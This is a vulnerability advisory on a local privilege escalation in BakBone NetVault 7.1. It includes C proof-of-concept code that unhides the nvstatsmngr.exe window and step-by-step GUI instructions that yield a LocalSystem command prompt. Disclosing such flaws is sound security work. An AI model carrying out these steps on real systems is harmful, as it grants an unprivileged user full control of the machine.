Privilege escalation in BakBone NetVault 7.1

[Reed Arvin <reedarvin@xxxxxxxxx>]

Summary:
Privilege escalation in BakBone NetVault 7.1
(http://www.bakbone.com/)

Details:
The nvstatsmngr.exe process, which is a hidden command prompt window
that is permitted to interact with the Desktop, can be manipulated by
any local user to escalate privileges to that of the LocalSystem
account.

Vulnerable Versions:
Privilege escalation in BakBone NetVault 7.1

Patches/Workarounds:
The vendor was notified of the issue. They are working on a patch that
will be released shortly. The patch will be made available via
http://www.bakbone.com/.

Exploit:
Compile and run the following code to unhide the C:\Program
Files\BakBone Software\NetVault\bin\nvstatsmngr.exe window:

===Start Code===
#include <stdio.h>
#include <windows.h>

int main( void )
{
        HWND hWnd;
        char szWindowName[] = "C:\\Program Files\\BakBone
Software\\NetVault\\bin\\nvstatsmngr.exe";

        printf( "Finding window %s\n", szWindowName );

        hWnd = FindWindow( NULL, szWindowName );

        if ( hWnd == NULL )
        {
                printf( "ERROR! Could not find window %s\n", szWindowName );
        
                exit( 1 );
        }

        ShowWindow( hWnd, SW_SHOW );

        return 0;
}
===End Code===

1. The C:\Program Files\BakBone Software\NetVault\bin\nvstatsmngr.exe
window will appear. Access the window menu in the upper left and click
Properties.
2. Right click on the word Window under the Display Options and click
What's This?
3. Right click on the help text that is shown in yellow and click Print Topic.
4. Right click on any printer and click Open.
5. Click Help, Help Topics.
6. Right click in the right side of the help screen and click View Source.
7. Notepad will appear (running under the context of the LocalSystem
account). Click File, click Open.
8. Change Files of type: to All Files, navigate to the system32
directory and locate cmd.exe.  Right click cmd.exe and choose Open.

The result is a command prompt running under the context of the
LocalSystem account.

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)

Assistance from David Rice drice[at]tep[dot]com